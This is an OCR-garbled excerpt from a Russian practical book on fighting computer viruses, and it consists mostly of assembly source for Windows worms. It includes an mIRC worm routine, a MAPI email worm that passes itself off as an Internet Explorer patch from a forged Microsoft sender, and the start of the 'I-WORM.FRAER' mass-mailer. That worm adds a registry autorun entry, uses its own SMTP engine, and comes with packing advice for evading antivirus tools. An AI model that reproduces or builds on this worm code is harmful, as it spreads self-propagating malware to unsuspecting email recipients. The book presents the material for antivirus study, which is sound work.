Технологии борьбы с компьютерными вирусами. Практическое пособие
.pdfWindows вирусы |
311 |
|
|
|
|
;———————————————————————————— |
|
|
convert2: |
|
|
mov esi,offset host_name |
; Процедура изменения расширения в файле от- |
|
êóäà |
|
|
mov edi,offset backup_name |
; Запущен вирус (на "*.xxx") |
|
jmp try1 |
; |
|
convert: |
|
; Процедура изменения расширения найденного |
mov esi,offset find_file+Find_data_name ; Файла на "*.xxx" |
||
mov edi,offset convert_name |
|
|
try1: |
|
|
lodsb |
|
; Загрузка байта в al из источника (esi) |
cmp al,’.’ |
; Проверка не точка ли это |
|
stosb |
|
; Помещаем байт в приемник (edi) |
jne try1 |
; Если точка, то меняем расширение |
|
lea esi,ext |
; В esi кладем смещение на новое расширение |
|
mov ecx,4 |
; В ecx кол-во байт для замены |
|
rep movsb |
; Перемещаем байты |
|
ret |
|
; Возврат из процедуры |
;——————————————————————————----------------------- |
||
restore: |
|
; Процедура запуска оригинальной программы |
call convert2 |
; Вызов процедуры изменения расширения файла |
|
push 0 |
; Перезаписываем |
|
push offset temp_file |
; Копируем файл с именем таким же как тот из |
|
push offset backup_name |
; которого мы запустились, но с расширением |
|
call CopyFileA |
; "*.xxx" â ôàéë "31337.exe" |
|
cmp eax,0 |
; Если файл не скопирован |
|
je exit |
; То идем на выход |
|
push 1 |
; Запускаем программу "31337.exe" |
|
push offset temp_file |
; |
|
Call WinExec |
; |
|
push offset temp_file |
; После окончания работы удаляем |
|
call DeleteFileA |
; ýòîò ôàéë |
|
exit: |
|
|
ret |
|
; Возврат из процедуры |
;——————————————————————————----------------------- |
||
worm: |
|
|
push |
0 |
; Копируем себя в директорию Windows |
push |
offset dropper |
; под именем supa.exe |
push |
offset host_name |
; |
call |
CopyFileA |
; |
xor |
eax,eax |
; |
push |
eax |
; |
push |
00000080h |
; |
push |
3 |
; Открываем файл |
push |
eax |
; script.ini |
push |
00000001h OR 00000002h |
; для чтения записи |
push |
40000000h OR 80000000h |
; |
lea |
eax,name_script |
; |
312 |
|
Windows вирусы |
|
|
|
push |
eax |
; |
call |
CreateFileA |
; |
cmp |
eax,-1 |
; Если ошибка, то |
je |
close_w |
; движемся к выходу |
mov |
dword ptr [fHnd],eax |
; Сохраняем хэндл файла |
push |
0 |
; |
mov |
dword ptr [size2Read],0 |
; |
lea |
eax,size2Read |
; Записываем туда |
push |
eax |
; свой вирусный скрипт |
push |
dword ptr[scriptSize] |
; |
push |
offset script1 |
; |
push |
dword ptr [fHnd] |
; |
call |
WriteFile |
; |
close_w: |
|
|
push |
dword ptr [fHnd] |
; Закрываем файл |
call |
CloseHandle |
; |
ret ;——————————————————————————-----------------------
end start ;——————————————————————————-----------------------
Данный вирус — это аналог рассмотренного нами вируса на C++ и работает он по тому же алгоритму.
Теперь, когда мы разобрались с mIRC червями, мы готовы написать почтового червя. Существует несколько возможностей написания почтовых червей. Первый и один из самых сложных — это самому работать с сокетами, соединяться с каким-нибудь своим почтовым сервером и отсылать себя по почте. Мы начнем с более простого способа. Он заключается в том, чтобы использовать MAPI и отправлять червя в далекое плавание по просторам Интернета при помощи такой известной программы, как Outlook Express.
Рассмотрим листинг:
;—————————————————————————————————————————————-
|
.386P |
|
locals |
|
jumps |
|
.model flat,STDCALL |
|
include Win32api.inc |
|
include Useful.inc |
|
extrn ExitProcess:NEAR |
|
extrn LoadLibraryA:NEAR |
|
extrn GetModuleFileNameA:NEAR |
|
extrn GetProcAddress:NEAR |
|
extrn FreeLibrary:NEAR |
|
extrn ExitProcess:NEAR |
_TEXT |
segment dword use32 public ‘CODE’ |
Windows вирусы |
|
|
|
|
313 |
|
|
||||
demo_entry: xor ebp,ebp |
; Мы будем использовать дельта смещение |
||||
|
; |
Когда будем |
включать |
ýòîò |
код в вирус |
|
; |
Пока дельта |
смещение |
íîëü |
|
push MAX_PATH
lea eax,dword ptr [ebp+szFileAttach] push eax
push 00000000h |
|
|
call GetModuleFileNameA |
; Получаем путь и имя файла |
|
|
|
; Используемого для создания |
|
|
; текущего процесса |
call getMAPI32sz |
; Загружаем MAPI32.DLL |
|
db "MAPI32.DLL",00h |
|
|
getMAPI32sz: |
call LoadLibraryA |
|
or eax,eax |
|
|
jz errMAPI32 |
; Проверяем на ошибки |
|
mov dword ptr [ebp+hMAPI32],eax |
||
call getMAPIfunc01 |
; Получаем MAPILogOn точку входа |
|
db "MAPILogon",00h |
|
|
getMAPIfunc01: |
push dword ptr [ebp+hMAPI32] |
|
call GetProcAddress |
|
|
or eax,eax |
|
|
jz freeMAPI32 |
|
|
mov dword ptr [ebp+a_MAPILogon],eax |
||
call getMAPIfunc02 |
; Получаем MAPILogOut точку входа |
|
db "MAPILogoff",00h |
|
|
getMAPIfunc02: |
push dword ptr [ebp+hMAPI32] |
|
call GetProcAddress or eax,eax
jz freeMAPI32
mov dword ptr [ebp+a_MAPILogoff],eax
call getMAPIfunc03 |
; Получаем MAPISendMail точку входа |
|
db "MAPISendMail",00h |
|
|
getMAPIfunc03: |
push dword ptr [ebp+hMAPI32] |
|
call GetProcAddress or eax,eax
jz freeMAPI32
mov dword ptr [ebp+a_MAPISendMail],eax
;LogOn... Это не обязательно, если вызываем MAPISendMail ;Будет использована существующая сессия
lea eax,dword ptr [ebp+hMAPISession]
push eax |
|
|
push |
00000000h |
|
push |
00000000h |
;MAPI_NEW_SESSION |
314 Windows вирусы
lea eax,dword ptr [ebp+szPassword] push eax
lea eax,dword ptr [ebp+szUsername] push eax
push 00000000h
call dword ptr [ebp+a_MAPILogon] or eax,eax
jnz freeMAPI32
; Составляем письмо
cld
lea edi,dword ptr [ebp+MapiMessage] xor eax,eax
stosd
lea eax,dword ptr [ebp+szSubject] stosd
lea eax,dword ptr [ebp+szNoteText] stosd
xor eax,eax stosd
lea eax,dword ptr [ebp+szDate] stosd
xor eax,eax stosd
mov eax,00000002h ;MAPI_RECEIPT_REQUESTED stosd
lea eax,dword ptr [ebp+MsgFrom] stosd
mov eax,00000001h stosd
lea eax,dword ptr [ebp+MsgTo] stosd
mov eax,00000001h stosd
lea eax,dword ptr [ebp+MapiFileDesc] stosd
; От кого письмо
xor eax,eax stosd
stosd
lea eax,dword ptr [ebp+szNameFrom] stosd
lea eax,dword ptr [ebp+szMailFrom] stosd
xor eax,eax stosd
stosd
; Кому письмо
Windows вирусы |
315 |
|
|
stosd inc eax stosd
lea eax,dword ptr [ebp+szNameTo] stosd
lea eax,dword ptr [ebp+szMailTo] stosd
xor eax,eax stosd
stosd
; Приложения
stosd stosd
mov eax,00000000h stosd
lea eax,dword ptr [ebp+szFileAttach] stosd
lea eax,dword ptr [ebp+szFileMsg] stosd
xor eax,eax stosd
; Отправляем письмо
push 00000000h push 00000000h
lea eax,dword ptr [ebp+MapiMessage] push eax
push 00000000h
push dword ptr [ebp+hMAPISession] call dword ptr [ebp+a_MAPISendMail] ;Log off
logoutMAPI32: push 00000000h push 00000000h
push 00000000h
push dword ptr [ebp+hMAPISession] call dword ptr [ebp+a_MAPILogoff]
|
;Освобождаем MAPI32.DLL |
|
freeMAPI32: push |
dword ptr [ebp+hMAPI32] |
|
|
call |
FreeLibrary |
errMAPI32: |
push |
00000000h |
|
call |
ExitProcess |
_TEXT |
ends |
|
_DATA |
segment dword use32 public ‘DATA’ |
|
hMAPI32 |
|
dd 00000000h |
a_MAPILogon |
|
dd 00000000h |
316 |
|
Windows вирусы |
|
|
|
a_MAPILogoff |
dd 00000000h |
|
a_MAPISendMail |
dd |
00000000h |
hMAPISession |
dd |
00000000h |
szUsername |
db "",00h |
|
|
szPassword |
db "",00h |
|
|
szNameFrom |
db "Bill Gates",00h |
; Îò êîãî |
|
szMailFrom |
db "bill_gates@microsoft.com",00h |
||
szNameTo |
db "you",00h |
; Êîìó |
|
szMailTo |
db "yourself@yourself.org",00h |
||
szSubject |
db "New Patch for IE",00h |
|
|
szNoteText |
db "Hi Comrade!",0ah,0dh,"This is patch for your IE!!!",00h |
||
szDate |
|
db "2002/06/06 16:06",00h |
|
szFileAttach |
db MAX_PATH dup (00h) |
|
|
szFileMsg db "MSIE5FIX.EXE",00h
MapiMessage equ $
|
dd 00000000h ;ulReserved |
|
|
dd 00000000h ;lpszSubject |
|
|
dd 00000000h ;lpszNoteText |
|
|
dd 00000000h ;lpszMessageType |
|
|
dd 00000000h ;lpszDate |
|
|
dd 00000000h ;lpszConversationID |
|
|
dd 00000000h ;flFlags |
|
|
dd 00000000h ;lpOriginator |
|
|
dd 00000000h ;nRecipCount |
|
|
dd 00000000h ;lpRecips |
|
|
dd 00000000h ;nFileCount |
|
|
dd 00000000h ;lpFiles |
|
MsgFrom |
equ $ |
|
|
dd 00000000h ;ulReserved |
|
|
dd 00000000h ;ulRecipClass |
|
|
dd 00000000h ;lpszName |
|
|
dd 00000000h ;lpszAddress |
|
|
dd 00000000h ;ulEIDSize |
|
|
dd 00000000h ;lpEntryID |
|
MsgTo |
equ $ |
|
|
dd 00000000h ;ulReserved |
|
|
dd 00000000h ;ulRecipClass |
|
|
dd 00000000h ;lpszName |
|
|
dd 00000000h ;lpszAddress |
|
|
dd 00000000h ;ulEIDSize |
|
|
dd 00000000h ;lpEntryID |
|
MapiFileDesc |
equ $ |
|
Windows вирусы |
317 |
|
|
|
|
|
dd 00000000h ;ulReserved |
|
|
dd 00000000h ;flFlags |
|
|
dd 00000000h ;nPosition |
|
|
dd 00000000h ;lpszPathName |
|
|
dd 00000000h ;lpszFileName |
|
|
dd 00000000h ;lpFileType |
|
_DATA |
ends |
|
_BSS |
segment dword use32 public ‘BSS’ |
|
|
db "Simple e-mail w0rm",00h |
|
|
db "BioCoded by Maia, modified by sl0n",00h |
|
_BSS |
ends |
|
|
end demo_entry |
|
;———————————————————————————-
Данная программа представляет из себя простейший e-mail червь. Стоит сказать, что на пропатченном Outlook Express будет выводится предупреждение об попытке отправки червя, но даже при этом предупреждении многие пользователи нажимают «OK» и червь путешествует по мировой паутине. Так же существует огромное количество непропатченных систем. Червь маскируется под патч для Internet Explorer’a.
Теперь перейдем ко второму способу.
Из-за недостатков 1-ого способа все чаще используют SMTP движки. В чем же заключается механизм работы SMTP движка? А заключается он в том, что движок вычисляет используемый SMTP сервер, затем присоединяется к нему и отправляет письмо. Для того, чтобы это реализовать, необходимо работать с сокетами.
Рассмотрим, что делает червь на примере Telnet сесии:
;——————————————————————————----------------------- |
|
|
HELO SMTP.SERVER.COM (+CRLF) |
[ ждем ответа сервера |
] |
MAIL FROM: bill_gates@microsoft.com (+CRLF) |
[ ждем ответа сервера |
] |
RCPT TO: gertva@mail.com (+CRLF) |
[ ждем ответа сервера |
] |
DATA (+CRLF) |
[ ждем ответа сервера |
] |
FROM: BILL GATES <bill_gates@microsoft.com> |
|
|
TO: Gertva <gertva@mail.com> |
|
|
SUBJECT: New Update |
|
|
Здесь идет текст письма с вложением
. (+CRLF)
;——————————————————————————-----------------------
Естественно, чтобы это все сделать из программы, необходимо узнать адрес SMTP сервера, и адреса кому отправляются письма. Адреса получателей обыч- но берутся из *.html файлов, а вот адрес SMTP сервера берется из реестра.
Так же необходим алгоритм перекодировки файла в кодировку base 64, для создания вложений и, как уже было сказано выше, навыки работы с сокетами.
318 Windows вирусы
После того, как мы подготовились, мы уже можем написать простейшего
почтового червяка...
;—-8<——————————————[fraer.asm]———————————————8<—; |
|
; |
; |
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; |
|
|
|
[I-WORM.FRAER] |
|
|
; |
||
; |
|
|
|
|
|
|
|
|
; |
; |
######### |
####### |
##### |
######### |
####### |
; |
|||
; |
### |
### |
#### |
#### #### |
### |
### |
#### |
; |
|
; |
### |
### |
### |
### |
### |
### |
### |
### |
; |
; |
### |
### |
### |
### |
### |
### |
### |
### |
; |
; |
### |
### |
#### |
### |
### |
######## |
### |
#### |
; |
; |
######## |
####### |
######### |
### |
####### |
; |
|||
; |
### |
### #### |
######### |
### |
### #### |
; |
|||
; |
### |
### |
### |
### |
### |
### |
### |
### |
; |
; |
### |
### |
### |
### |
### |
### |
### |
### |
; |
; |
### |
### |
### |
### |
### ######### |
### |
### |
; |
|
; |
|
|
|
|
|
|
|
|
; |
; |
|
|
|
DEZIGNED BY SLON |
|
|
; |
||
; |
|
|
|
|
|
|
|
|
; |
; |
|
|
|
FOR MS WINDOWS |
|
|
; |
||
;——————————————————————————————————————— |
-------------------------------------- |
|
|
|
; |
||||
; |
!!! ВНИМАНИЕ ДАННАЯ ПРОГРАММА ЯВЛЯЕТСЯ ВИРУСОМ !!! |
; |
|||||||
;——————————————————————————————————————— |
-------------------------------------- |
|
|
|
; |
||||
; |
|
|
|
ВОЗМОЖНОСТИ: |
|
|
; |
||
; |
|
|
|
|
|
|
|
|
; |
; (+) Распространяется по почте |
|
|
|
|
|
; |
|||
; (+) Записывает себя в Windows директорию и в реестр |
|
|
; |
||||||
; (+) Использует свой SMTP движок |
|
|
|
|
|
; |
|||
; |
|
|
|
|
|
|
|
|
; |
;——————————————————————————————————————— |
-------------------------------------- |
|
|
|
; |
||||
; |
|
|
|
ИСПОЛЬЗОВАНИЕ: |
|
|
; |
||
; |
|
|
|
|
|
|
|
|
; |
; (1) После компиляции запаковать каким-нибудь протектором (telock,armadillo) |
; |
||||||||
; (2) Длину увеличить так чтобы делилось нацело на 3 и затем добавить 1 байт |
; |
||||||||
; |
|
|
|
|
|
|
|
|
; |
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
.386p
.model flat,stdcall
callx macro x |
|
; |
extrn x:proc |
|
; Макрос для упрощения |
call x |
|
; использования WIN API |
endm |
|
; |
.data |
|
; Сегмент данных |
;——————————————————————————----------------------- |
||
start: |
|
|
push |
255 |
; |
push |
offset old_dir |
; |
Windows вирусы |
319 |
|
|
|
|
push |
0 |
; |
callx GetModuleFileNameA |
; Получаем имя программы |
|
push |
0 |
; |
push |
offset mem__ |
; |
push |
offset old_dir |
; Копируем себя в temp.bak |
callx CopyFileA |
; |
|
push |
255 |
; Получаем имя WINDOWS |
push |
offset win_dir |
; директории в буфер |
callx |
GetWindowsDirectoryA |
; win_dir |
mov |
edx, offset win_dir |
; Дописываем к имени |
mov |
[edx+eax],’arf\’ |
; WINDOWS директории |
mov |
[edx+eax+4],’23re’ |
; Имя дроппера |
mov |
[edx+eax+8],’exe.’ |
; |
push |
0 |
; Копируем себя в |
push |
offset win_dir |
; WINDOWS директорию под |
push |
offset old_dir |
; именем fraer32.exe |
callx |
CopyFileA |
; |
xor |
eax,eax |
; Обнуляем eax |
push |
offset tmp |
; |
push |
offset h_key |
; |
push |
eax |
; |
push |
3 |
; |
push |
eax |
; Создаем ключ в реестре |
push |
eax |
; для автозагрузки |
push |
eax |
; |
push |
offset reg__ |
; |
push |
80000002h |
; |
callx |
RegCreateKeyExA |
; |
push |
256 |
; |
push |
offset win_dir |
; |
push |
1 |
; И устанавливаем значение, |
push |
0 |
; так чтобы при старте |
push |
offset reg2__ |
; системы сразу запускался: |
push |
h_key |
; WINDOWS\fraer32.exe |
callx |
RegSetValueExA |
; |
push |
h_key |
; Закрываем ключ реестра |
callx |
RegCloseKey |
; |
tr5__: |
|
|
push |
offset dll_ |
; Загружаем wininet.dll |
callx LoadLibraryA |
; |
|
push |
offset test_ |
; |
push |
eax |
; |
callx GetProcAddress |
; Получаем адрес необходимой |
|
mov |
func_addr,eax |
; нам функции |
320 |
|
Windows вирусы |
|
|
|
test__: |
|
|
push |
00h |
; |
push |
offset zero_ |
; Выполняем |
call |
dword ptr [func_addr] |
; InternetGetConnectedState |
test |
eax,eax |
; |
jnz |
good__ |
; Мы в Интернет ? |
push |
1000 |
; Åñëè íåò, òî |
callx |
Sleep |
; æäåì 1000 ìñ |
jmp |
test__ |
; И идем на прверку |
good__: |
|
; Если в Интернет, то |
call |
file_encode |
; Кодируем файл и отсылаем |
|
|
; åãî |
err__: |
|
|
push |
offset mem__ |
; Удаляем файл |
callx |
DeleteFileA |
; temp.bak |
push |
0 |
; |
callx ExitProcess |
; Завершаем программу |
|
;——————————————————————————----------------------- |
||
milo__: |
|
|
push |
offset h_key |
; |
push |
01h |
; |
push |
00h |
; |
push |
offset reg4__ |
; |
push |
80000001h |
; Открываем нужный ключ |
callx |
RegOpenKeyExA |
; реестра |
test |
eax,eax |
; Если ошибка, |
jnz |
err__ |
; то на выход |
push |
offset nine_ |
; |
push |
offset Account_ID |
; |
push |
00h |
; |
push |
00h |
; |
push |
offset reg5__ |
; |
push |
h_key |
; Получаем нужное значение |
callx |
RegQueryValueExA |
; из реестра |
test |
eax,eax |
; Если ошибка, |
jnz |
err__ |
; то на выход |
push |
h_key |
; |
callx |
RegCloseKey |
; Закрываем ключ реестра |
push |
offset h_key |
; |
push |
01h |
; |
push |
00h |
; |
push |
offset reg3__ |
; |
push |
80000001h |
; Открываем нужный ключ |
callx |
RegOpenKeyExA |
; реестра |
test |
eax,eax |
; Если ошибка, |
